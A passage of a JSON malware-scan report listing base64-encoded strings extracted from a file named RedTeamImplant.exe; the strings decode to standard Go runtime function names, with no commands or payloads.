Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5Hb3NjaGVk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nb3NjaGVkX20=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nb3NjaGVkZ3VhcmRlZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nb3NjaGVkZ3VhcmRlZF9t","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nb3NjaGVkSWZCdXN5","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nb3NjaGVkSW1wbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nb3N0YXJ0Y2FsbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nb3N0YXJ0Y2FsbGZu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nb1N0YXR1c1RvVHJhY2VHb1N0YXR1cw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nb3N0cmluZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nb3N0cmluZ25vY29weQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nb3N0cmluZ3c=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nb3RyYWNlYmFjaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nb3lpZWxk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nb3lpZWxkX20=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5ncmV5b2JqZWN0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5ncm93c2xpY2U=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5ndWludHB0ci5wdHI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nd3JpdGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5I","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5IOQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5IOTBA","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5oYW5kb2Zm","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5oYW5kb2ZmcA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5oZWFkVGFpbEluZGV4LmhlYWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5oZWFkVGFpbEluZGV4LnNwbGl0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5oZWFwQml0c0luU3Bhbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5oZWFwQml0c1NsaWNl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5oZWFwUmV0YWluZWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5oZWFwU2V0VHlwZUxhcmdl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5oZWFwU2V0VHlwZU5vSGVhZGVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5oZWFwU2V0VHlwZVNtYWxsSGVhZGVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5oZXhkdW1wV29yZHM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pZmFjZWVx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbmNpZGxlbG9ja2Vk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0LjA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0LjE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0LjQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0LjU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0LjY=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0LjYuZnVuYzE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0Ljc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0LmZ1bmMx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0QWxnQUVT","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0RXhjZXB0aW9uSGFuZGxlcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0SGlnaFJlc1RpbWVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TG9uZ1BhdGhTdXBwb3J0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jMTA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jMTE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jMTI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jMTM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jMTQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jMTU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jMTY=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jMTc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jMTg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jMTk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jMg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jMjA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jMjE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jMjI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jMjM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jMjQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jMjU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jMjY=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jMjc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jMjg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jMjk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jMw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jMzA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jMzE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jMzI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jMzM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jMzQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jMzU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jMzY=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jMzc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jMzg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jMzk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jNA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jNDA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jNDE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jNDI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jNDM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jNDQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jNDU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jNDY=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jNDc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jNDg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jNDk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jNQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jNTA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jNTE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jNTI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jNTM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jNTQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jNTU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jNTY=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jNg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jNw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jOA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0TWV0cmljcy5mdW5jOQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbml0U3lzRGlyZWN0b3J5","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbmplY3RnbGlzdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbmplY3RnbGlzdC5mdW5jMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbmxpbmVGcmFtZS52YWxpZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbnRlcmVxdWFs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbnRlcmZhY2VTd2l0Y2g=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbnRlcmhhc2g=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pbnRzdHJpbmc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pblVzZXJBcmVuYUNodW5r","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pc0Fib3J0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pc0Fib3J0UEM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pc0FzeW5jU2FmZVBvaW50","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pc0RpcmVjdElmYWNl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pc0V4cG9ydGVkUnVudGltZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pc0Zpbml0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pc2dvZXhjZXB0aW9u","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pc0dvUG9pbnRlcldpdGhvdXRTcGFu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pc0luZg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pc05hTg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pc1Bvd2VyT2ZUd28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pc1Nocmlua1N0YWNrU2FmZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pc1N3ZWVwRG9uZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pc1N5c3RlbUdvcm91dGluZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pdGFiQWRk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pdGFiSGFzaEZ1bmM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pdGFiSW5pdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pdGFic2luaXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pdGVyYXRlX2l0YWJz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pdG9h","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5pdG9hRGl2","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5sYXN0Y29udGludWVoYW5kbGVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5sYXN0Y29udGludWV0cmFtcA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5sZXZlbEluZGV4VG9PZmZBZGRy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5sZm5vZGVWYWxpZGF0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5sZnN0YWNrUGFjaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5sZnN0YWNrVW5wYWNr","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5saW1pdGVyRXZlbnRTdGFtcC5kdXJhdGlvbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5saW1pdGVyRXZlbnRTdGFtcC50eXA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5sb2FkT3B0aW9uYWxTeXNjYWxscw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5sb2Nr","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5sb2NrMg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5sb2NrMi5vc3lpZWxkLmZ1bmMx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5sb2NrZXh0cmE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5sb2NrT1NUaHJlYWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5Mb2NrT1NUaHJlYWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5sb2NrUmFuay5TdHJpbmc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5sb2NrVmVyaWZ5TVNpemU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5sb2NrV2l0aFJhbms=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5sb3dlckFTQ0lJ","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYWlu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYWluLmZ1bmMx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYWluLmZ1bmMy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYWtlQWRkclJhbmdl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYWtlY2hhbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYWtlSGVhZFRhaWxJbmRleA==","type":"Ansi","source":"Memory/File 